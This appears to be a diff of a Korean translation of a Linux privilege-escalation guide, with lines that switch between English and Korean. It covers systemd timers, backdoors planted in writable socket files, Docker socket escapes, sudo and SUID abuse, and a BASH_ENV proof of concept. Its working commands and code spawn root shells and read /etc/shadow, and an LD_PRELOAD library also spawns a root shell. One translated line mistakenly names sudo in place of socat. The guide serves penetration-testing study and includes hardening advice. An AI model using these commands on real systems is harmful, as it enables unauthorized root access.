이벤트를 제어하는 systemd unit 파일입니다. **타이머**는 캘린더 시간 이벤트와 monotonic 시간 이벤트를 기본으로 지원하고 비동기적으로 실행할 수 있어 cron의 대안으로 사용할 수 있습니다. +**Timers**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd unit 파일입니다. **Timers**는 달력 기반 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행될 수 있어 cron의 대안으로 사용할 수 있습니다. -다음 명령으로 모든 타이머를 열거할 수 있습니다: +모든 타이머는 다음 명령으로 열거할 수 있습니다: ```bash systemctl list-timers --all ``` ### 쓰기 가능한 타이머 -타이머를 수정할 수 있다면 systemd.unit의 일부 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. +타이머를 수정할 수 있다면 systemd.unit의 일부 유닛(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. ```bash Unit=backdoor.service ``` -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +In the documentation you can read what the Unit is: -따라서, 이 권한을 악용하려면 다음이 필요합니다: +> 타이머가 만료될 때 활성화할 Unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 타이머 unit과 동일한 이름을 가지되 접미사만 다른 service로 기본 설정됩니다. (See above.) 활성화되는 unit 이름과 타이머 unit의 이름은 접미사를 제외하고 동일하게 명명하는 것이 권장됩니다. -- 쓰기 가능한 바이너리를 **실행하는** systemd unit(예: `.service`)을 찾습니다 -- **상대 경로를 실행하는** systemd unit을 찾고, 해당 **systemd PATH**에 대해 **쓰기 권한**이 있어 그 실행파일을 가장(impersonate)할 수 있어야 합니다 +Therefore, to abuse this permission you would need to: -**타이머에 대해 더 알아보려면 `man systemd.timer`를 참고하세요.** +- 어떤 systemd unit (예: `.service`)이 **쓰기 가능한 바이너리를 실행하는** 것을 찾으세요 +- 어떤 systemd unit이 **상대 경로를 실행하는** 것을 찾고, 당신이 **systemd PATH에 대한 쓰기 권한**을 가지고 있어 해당 실행파일을 위장(또는 대체)할 수 있는지 확인하세요 + +**Learn more about timers with `man systemd.timer`.** ### **타이머 활성화** @@ -492,28 +496,28 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## 소켓 -Unix Domain Sockets (UDS)는 클라이언트-서버 모델에서 같은 머신 또는 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며 `.socket` 파일을 통해 설정됩니다. +Unix Domain Sockets (UDS) 는 클라이언트-서버 모델에서 동일하거나 다른 머신 간의 **프로세스 간 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며 `.socket` 파일을 통해 설정됩니다. Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** 이 파일 내부에는 다음과 같은 흥미로운 매개변수를 구성할 수 있습니다: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 서로 다르지만 요약적으로 **소켓이 어디에서 리스닝할지(수신할지)를 표시**하는 데 사용됩니다 (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등). -- `Accept`: boolean 인수를 받습니다. 만약 **true**이면, 들어오는 각 연결마다 **서비스 인스턴스가 생성**되며 오직 연결 소켓만 그 인스턴스에 전달됩니다. 만약 **false**이면, 모든 리스닝 소켓 자체가 **시작된 service unit에 전달**되며 모든 연결에 대해 단 하나의 서비스 유닛만 생성됩니다. 이 값은 datagram 소켓과 FIFO에서는 무시되며, 이 경우 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리합니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다. -- `ExecStartPre`, `ExecStartPost`: 하나 이상 명령줄을 받으며, 각각 리스닝 **소켓**/FIFO가 생성되고 바인드되기 **전** 또는 **후**에 **실행**됩니다. 명령줄의 첫 번째 토큰은 절대 경로의 파일명이어야 하며, 그 뒤에 프로세스 인수가 따라옵니다. -- `ExecStopPre`, `ExecStopPost`: 리스닝 **소켓**/FIFO가 닫히고 제거되기 **전** 또는 **후**에 **실행되는 추가 명령들**입니다. -- `Service`: 수신 트래픽에서 활성화할 **service** 유닛 이름을 지정합니다. 이 설정은 `Accept=no`인 소켓에서만 허용됩니다. 기본값은 소켓과 동일한 이름(접미사 치환)을 가진 서비스입니다. 대부분의 경우 이 옵션을 사용할 필요는 없습니다. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### 쓰기 가능한 .socket 파일 +### Writable .socket files -쓰기 가능한 `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor` 같은 항목을 **추가**할 수 있으며, 이렇게 하면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **머신을 재부팅할 때까지 기다려야 할 가능성이 큽니다.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_시스템이 해당 socket 파일 구성을 실제로 사용해야만 백도어가 실행된다는 점을 유의하세요._ -### 쓰기 가능한 소켓 +### Writable sockets -구성 파일인 `.socket` 파일이 아니라 Unix Sockets 자체에 대해 말하는 것이지만, 쓰기 가능한 소켓을 식별하면 해당 소켓과 통신할 수 있고 취약점을 악용할 수도 있습니다. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Unix Sockets 열거 +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -535,13 +539,13 @@ socket-command-injection.md ### HTTP sockets -일부 **sockets listening for HTTP** 요청이 있을 수 있습니다 (_여기서 말하는 것은 .socket files가 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: +다음에 유의하세요: 일부 **sockets listening for HTTP** 요청이 있을 수 있습니다 (_여기서 말하는 것은 .socket files가 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -### Writable Docker Socket +### 쓰기 가능한 Docker 소켓 The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. @@ -552,11 +556,11 @@ If you have write access to the Docker socket, you can escalate privileges using docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -이 명령들은 호스트의 파일 시스템에 root-level 액세스로 컨테이너를 실행할 수 있게 합니다. +이 명령들은 호스트의 파일 시스템에 대한 root 수준 액세스를 가진 container를 실행할 수 있게 합니다. -#### **Docker API 직접 사용** +#### **Docker API를 직접 사용하기** -Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `curl` 명령으로 여전히 조작할 수 있습니다. +Docker CLI가 없는 경우에도 Docker socket은 Docker API와 `curl` 명령으로 조작할 수 있습니다. 1. **List Docker Images:** 사용 가능한 이미지 목록을 가져옵니다. @@ -564,19 +568,19 @@ Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 ` curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** 호스트 시스템의 루트 디렉토리를 마운트하는 컨테이너를 생성하는 요청을 보냅니다. +2. **Create a Container:** 호스트 시스템의 루트 디렉터리를 마운트하는 container를 생성하는 요청을 전송합니다. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -새로 생성된 컨테이너를 시작합니다: +생성한 container를 시작합니다: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat`를 사용해 연결을 설정하면 컨테이너 내부에서 명령을 실행할 수 있습니다. +3. **Attach to the Container:** `socat`을 사용해 container에 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -586,11 +590,11 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 연결을 설정한 후에는 호스트 파일 시스템에 대한 root-level 액세스로 컨테이너 내에서 명령을 직접 실행할 수 있습니다. +`sudo` 연결을 설정한 후에는 `socat` 연결을 통해 container 내에서 호스트 파일 시스템에 대한 root 권한으로 직접 명령을 실행할 수 있습니다. ### 기타 -docker 그룹 `docker`에 속해 있어 docker socket에 대한 쓰기 권한이 있다면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 활용할 수 있습니다. 또한 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) 경우 이를 악용할 수도 있습니다. +docker 소켓에 대해 쓰기 권한이 있고 **inside the group `docker`**라면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)가 있습니다. 또한 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 이를 악용할 수도 있습니다. 다음에서 **more ways to break out from docker or abuse it to escalate privileges**를 확인하세요: @@ -601,7 +605,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -만약 **`ctr`** 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -610,7 +614,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -만약 **`runc`** 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -619,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 inter-Process Communication (IPC) 시스템입니다. 현대 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. +D-Bus는 애플리케이션이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 Inter-Process Communication (IPC) 시스템입니다. 현대 Linux 시스템을 염두에 두고 설계되어 있으며, 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다. -이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 확장된 UNIX domain sockets와 유사합니다. 또한 이벤트나 신호를 브로드캐스트하여 시스템 구성 요소 간의 원활한 통합을 돕습니다. 예를 들어 Bluetooth 데몬으로부터의 수신 전화 신호가 음악 플레이어를 음소거하도록 트리거할 수 있습니다. 더불어 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 단순화함으로써 전통적으로 복잡했던 프로세스를 간소화합니다. +이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 향상된 UNIX domain sockets와 유사합니다. 또한 이벤트나 신호를 브로드캐스트하는 것을 도와 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어 Bluetooth 데몬에서 오는 통화 신호가 음악 플레이어를 음소거하도록 할 수 있습니다. 더불어 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 단순화하고, 전통적으로 복잡했던 프로세스를 간소화합니다. -D-Bus는 메시지 권한(메서드 호출, 신호 전송 등)을 일치하는 정책 규칙들의 누적 효과에 따라 관리하는 allow/deny 모델로 동작합니다. 이러한 정책들은 버스와의 상호작용을 명시하며, 권한을 악용해 privilege escalation이 발생할 수 있습니다. +D-Bus는 **allow/deny model**로 동작하며, 정책 규칙의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 권한을 악용해 privilege escalation이 가능할 수 있습니다. -예로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책을 보면 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고 해당 서비스로 전송 및 수신할 수 있도록 허용하는 권한이 명시되어 있습니다. +예로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 해당 정책은 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고, 이로 송신 및 수신할 수 있는 권한을 상세히 설명합니다. -사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책으로 다루어지지 않는 모든 항목에 적용됩니다. +사용자나 그룹이 지정되지 않은 정책은 전역적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 포함되지 않는 모든 항목에 적용됩니다. ```xml @@ -636,18 +640,18 @@ D-Bus는 메시지 권한(메서드 호출, 신호 전송 등)을 일치하는 ``` -**여기에서 D-Bus communication을 enumerate 및 exploit하는 방법을 배우세요:** +**여기에서 D-Bus communication을 enumerate하고 exploit하는 방법을 배우세요:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **네트워크** +## **Network** -네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다. +항상 network를 enumerate하고 머신의 위치를 파악하는 것은 흥미롭습니다. -### 일반적인 enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -672,7 +676,7 @@ lsof -i ``` ### 열린 포트 -접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 network services를 항상 확인하세요: +항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -685,9 +689,9 @@ timeout 1 tcpdump ``` ## 사용자 -### 일반적인 Enumeration +### 일반 열거 -다음 사항을 확인하세요: 자신이 **who**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 누가 **login**할 수 있는지, 그리고 누가 **root privileges**를 가지고 있는지: +자신이 **누구**인지, 어떤 **권한**을 가지고 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자가 **로그인**할 수 있는지, 그리고 어떤 사용자가 **root 권한**을 가지고 있는지 확인하세요: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -709,10 +713,10 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### 큰 UID +### Big UID -일부 Linux 버전은 **UID > INT_MAX** 인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +일부 Linux 버전은 **UID > INT_MAX**인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**이를 악용하려면** 다음을 사용하세요: **`systemd-run -t /bin/bash`** ### 그룹 @@ -725,7 +729,7 @@ interesting-groups-linux-pe/ ### 클립보드 -가능하다면 클립보드 안에 흥미로운 내용이 있는지 확인하세요 +가능하다면 클립보드에 흥미로운 항목이 있는지 확인하세요 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -740,29 +744,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### 알려진 비밀번호 +### Known passwords -환경의 **비밀번호를 알고 있다면**, 그 비밀번호를 사용해 **각 사용자로 로그인해 보세요**. +환경의 **비밀번호를 알고 있다면**, 그 비밀번호로 **각 사용자로 로그인해보세요**. ### Su Brute -많은 소음을 내는 것을 개의치 않고 시스템에 `su`와 `timeout` 바이너리가 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 brute-force해 볼 수 있습니다.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 `-a` 파라미터로 사용자에 대해 brute-force도 시도합니다. +많은 노이즈를 신경쓰지 않고 시스템에 `su`와 `timeout` 바이너리가 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 brute-force해볼 수 있습니다.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)는 `-a` 파라미터로도 사용자들을 brute-force하려고 시도합니다. -## 쓰기 가능한 PATH 악용 +## 쓰기 가능한 PATH 남용 ### $PATH -만약 **$PATH의 어떤 폴더에 쓰기 권한이 있다면**, 다른 사용자(이상적으로는 root)가 실행할 명령 이름으로 **쓰기 가능한 폴더 안에 백도어를 생성하는 것**으로 권한 상승이 가능할 수 있습니다. 이때 해당 명령이 **$PATH에서 당신의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않아야** 합니다. +**$PATH의 일부 폴더에 쓰기가 가능한 경우**, 다른 사용자가(이상적으로는 root) 실행할 명령 이름으로 **쓰기 가능한 폴더 안에 backdoor를 생성**하여 권한 상승이 가능할 수 있습니다. 단, 해당 명령이 **$PATH에서 당신의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않아야** 합니다. ### SUDO and SUID -sudo를 사용해 일부 명령을 실행할 수 있거나, 명령들에 suid bit가 설정되어 있을 수 있습니다. 다음으로 확인하세요: +sudo를 사용해 어떤 명령을 실행할 수 있거나, 해당 파일에 suid 비트가 설정되어 있을 수 있습니다. 확인하려면 다음을 사용하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -일부 **예상치 못한 명령은 파일을 읽고/또는 쓸 수 있게 하거나 심지어 명령을 실행할 수 있습니다.** 예를 들어: +몇몇 **예상치 못한 명령은 파일을 읽고/또는 쓰거나 심지어 명령을 실행할 수 있게 해줍니다.** 예를 들어: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -773,37 +777,37 @@ less>! ``` ### NOPASSWD -Sudo 설정은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 명령을 실행할 수 있게 허용할 수 있다. +Sudo 구성에 따라 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용될 수 있습니다. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -이 예에서는 사용자 `demo`가 `root`로 `vim`을 실행할 수 있으므로, root 디렉터리에 ssh key를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 이제 매우 쉽습니다. +이 예에서는 사용자 `demo`가 `root` 권한으로 `vim`을 실행할 수 있으므로, root 디렉터리에 ssh key를 추가하거나 `sh`를 호출하여 쉽게 shell을 얻을 수 있습니다. ``` sudo vim -c '!sh' ``` ### SETENV -이 디렉티브는 사용자가 실행 중에 **환경 변수를 설정**할 수 있게 해줍니다: +이 디렉티브는 사용자가 무언가를 실행하는 동안 **환경 변수를 설정**할 수 있도록 합니다: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -이 예제는, **HTB machine Admirer를 기반으로 한**, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **취약했습니다**: +이 예제는 **HTB machine Admirer를 기반으로 한** 것으로, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **취약했습니다**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV가 sudo env_keep로 보존될 때 → root shell +### BASH_ENV가 sudo env_keep를 통해 유지됨 → root shell -만약 sudoers가 `BASH_ENV`를 보존한다면(예: `Defaults env_keep+="ENV BASH_ENV"`), 허용된 명령을 실행할 때 Bash의 비대화형 시작 동작을 이용해 루트 권한으로 임의의 코드를 실행할 수 있습니다. +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: 비대화형 셸에서는 Bash가 `$BASH_ENV`를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source 합니다. 많은 sudo 규칙이 스크립트나 셸 래퍼 실행을 허용합니다. `BASH_ENV`가 sudo에 의해 보존되면, 당신의 파일이 root 권한으로 source 됩니다. +- Why it works: 비대화형 셸에서는 Bash가 `$BASH_ENV`를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source 합니다. 많은 sudo 규칙이 스크립트나 쉘 래퍼의 실행을 허용합니다. sudo가 `BASH_ENV`를 보존하면, 해당 파일이 root 권한으로 source 됩니다. - Requirements: -- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). -- `BASH_ENV` present in `env_keep` (check with `sudo -l`). +- 실행 가능한 sudo 규칙 (비대화형으로 `/bin/bash`를 호출하거나, 어떤 bash 스크립트든 실행하는 대상이면 됨). +- `BASH_ENV`가 `env_keep`에 포함되어 있음 (`sudo -l`로 확인). - PoC: ```bash @@ -816,13 +820,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - 하드닝: -- `env_keep`에서 `BASH_ENV`(및 `ENV`)를 제거하고, `env_reset`을 선호하세요. -- sudo-allowed commands에 대해 shell wrappers를 피하고 최소한의 바이너리를 사용하세요. -- 보존된 env vars가 사용될 때 sudo I/O 로깅 및 알림을 고려하세요. +- `env_keep`에서 `BASH_ENV` (및 `ENV`)를 제거하고, `env_reset`을 선호하세요. +- sudo로 허용된 명령에 대해 shell wrappers를 피하고, 최소한의 binaries를 사용하세요. +- 보존된 env vars가 사용될 때 sudo I/O 로깅 및 경고를 고려하세요. -### Sudo 실행 우회 경로 +### Sudo execution bypassing paths -**Jump**를 통해 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**건너뛰기** 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -832,7 +836,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -만약 **wildcard**가 사용된다 (\*), 훨씬 더 쉬워집니다: +만약 **wildcard**가 사용된다면 (\*), 훨씬 더 쉽습니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -841,41 +845,41 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary (명령 경로 없이) -만약 **sudo permission**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수 변경으로 이를 악용할 수 있다. +만약 특정 명령에 대한 **sudo permission**이 경로를 지정하지 않은 채 단일 명령으로 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행하는 경우(항상 _**strings**_ 로 이상한 SUID 바이너리의 내용을 확인하세요)**에도 사용할 수 있습니다. +이 기법은 **suid** binary가 **경로를 지정하지 않고 다른 명령을 실행할 때(항상 _**strings**_ 로 이상한 SUID binary의 내용을 확인하세요)**에도 사용할 수 있습니다. [Payload examples to execute.](payloads-to-execute.md) -### SUID 바이너리 (명령 경로가 있는 경우) +### SUID binary (명령 경로가 있는 경우) -만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행**한다면, suid 파일이 호출하는 명령 이름으로 **export a function**을 시도해볼 수 있습니다. +If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. -예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 함수를 생성하고 export해야 합니다: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -그런 다음 suid binary를 호출하면 이 함수가 실행됩니다 +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +환경 변수 **LD_PRELOAD**는 표준 C 라이브러리(`libc.so`)를 포함해 다른 모든 것보다 먼저 로더가 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정은 라이브러리 사전 로드(preloading a library)라고 합니다. -그러나 시스템 보안을 유지하고 특히 **suid/sgid** 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 특정 조건을 적용합니다: +그러나 시스템 보안을 유지하고 특히 **suid/sgid** 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 다음과 같은 조건을 강제합니다: -- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다. -- **suid/sgid**가 설정된 실행 파일의 경우, 표준 경로에 있고 또한 suid/sgid인 라이브러리만 프리로드됩니다. +- 실제 사용자 ID (_ruid_)가 실효 사용자 ID (_euid_)와 일치하지 않는 실행 파일에 대해서는 로더가 **LD_PRELOAD**를 무시합니다. +- suid/sgid 권한이 있는 실행 파일의 경우, 사전 로드되는 라이브러리는 표준 경로에 있으면서 동시에 suid/sgid인 라이브러리로 제한됩니다. -Privilege escalation은 `sudo`로 명령을 실행할 수 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD**가 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 명령이 `sudo`로 실행될 때에도 **LD_PRELOAD** 환경 변수가 유지되어 인식되도록 허용하므로 권한 상승된 상태에서 임의의 코드가 실행될 가능성이 있습니다. +Privilege escalation은 `sudo`로 명령을 실행할 수 있고 `sudo -l` 출력에 **env_keep+=LD_PRELOAD** 항목이 포함되어 있다면 발생할 수 있습니다. 이 구성은 명령을 `sudo`로 실행할 때도 **LD_PRELOAD** 환경 변수가 유지되고 인식되도록 허용하여, 잠재적으로 권한 상승된 상태에서 임의의 코드가 실행되는 결과를 초래할 수 있습니다. ``` Defaults env_keep += LD_PRELOAD ``` -다음으로 저장하세요 **/tmp/pe.c** +다음 이름으로 저장: **/tmp/pe.c** ```c #include #include @@ -888,17 +892,17 @@ setuid(0); system("/bin/bash"); } ``` -그런 다음 **컴파일하세요**: +그런 다음 다음 명령어로 **compile it**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -마지막으로, **escalate privileges**를 실행합니다 +마지막으로, **escalate privileges** 실행 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 유사한 privesc는 공격자가 **LD_LIBRARY_PATH** env variable을 제어할 수 있는 경우 악용될 수 있습니다. 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다. +> 유사한 